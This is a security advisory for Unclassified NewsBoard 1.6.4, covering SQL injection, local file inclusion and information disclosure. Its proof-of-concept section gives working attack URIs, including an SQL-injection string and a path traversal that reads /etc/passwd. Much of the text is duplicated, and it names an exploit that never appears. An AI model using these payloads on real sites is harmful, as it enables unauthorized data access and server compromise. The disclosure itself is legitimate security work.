Unclassified NewsBoard Multiple Remote Vulnerabilities
BID:35183
Info
Unclassified NewsBoard Multiple Remote Vulnerabilities
| Bugtraq ID: | 35183 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 02 2009 12:00AM |
| Updated: | Jun 03 2009 02:19PM |
| Credit: | __GiReX__ |
| Vulnerable: |
Unclassified NewsBoard Unclassified NewsBoard 1.6.4 |
| Not Vulnerable: | |
Discussion
Unclassified NewsBoard Multiple Remote Vulnerabilities
Unclassified NewsBoard is prone to multiple vulnerabilities, including an SQL-injection issue, multiple information-disclosure issues, and a local file-include issue.
Successful exploits may allow attackers to:
- access or modify data
- exploit latent vulnerabilities in the underlying database
- obtain sensitive information
- execute arbitrary script code in the context of the webserver
A successful attack will compromise the application and may help in further attacks.
The issues affect Unclassified NewsBoard 1.6.4; other versions may also be vulnerable.
Unclassified NewsBoard is prone to multiple vulnerabilities, including an SQL-injection issue, multiple information-disclosure issues, and a local file-include issue.
Successful exploits may allow attackers to:
- access or modify data
- exploit latent vulnerabilities in the underlying database
- obtain sensitive information
- execute arbitrary script code in the context of the webserver
A successful attack will compromise the application and may help in further attacks.
The issues affect Unclassified NewsBoard 1.6.4; other versions may also be vulnerable.
Exploit / POC
Unclassified NewsBoard Multiple Remote Vulnerabilities
An attacker can exploit these issues through a browser.
The following example URIs are available:
For the SQL-injection issue:
http://www.example.com/forum.php?req=search&Query=xxx'))OR/**/1=1%23&ResultView=2&InMessage=1&Sort=2&Forum=0
For the local file-include issue:
http://www.example.com/forum.php?GLOBALS[UTE][__tplCollection][a][file]=../../../../../../../../../../../../etc/passwd%00
For the information-disclosure issues:
http://www.example.com/forum.php?req=rss&type=3&forum=1&GLOBALS[filename]=../logs/board-yyyy-mm-dd.log
http://www.example.com/extra/import/import_wbb1.php
The following exploit for the SQL-injection issue is available:
An attacker can exploit these issues through a browser.
The following example URIs are available:
For the SQL-injection issue:
http://www.example.com/forum.php?req=search&Query=xxx'))OR/**/1=1%23&ResultView=2&InMessage=1&Sort=2&Forum=0
For the local file-include issue:
http://www.example.com/forum.php?GLOBALS[UTE][__tplCollection][a][file]=../../../../../../../../../../../../etc/passwd%00
For the information-disclosure issues:
http://www.example.com/forum.php?req=rss&type=3&forum=1&GLOBALS[filename]=../logs/board-yyyy-mm-dd.log
http://www.example.com/extra/import/import_wbb1.php
The following exploit for the SQL-injection issue is available:
Solution / Fix
Unclassified NewsBoard Multiple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Unclassified NewsBoard Multiple Remote Vulnerabilities
References:
References:
- Unclassified NewsBoard Web Page (Unclassified NewsBoard)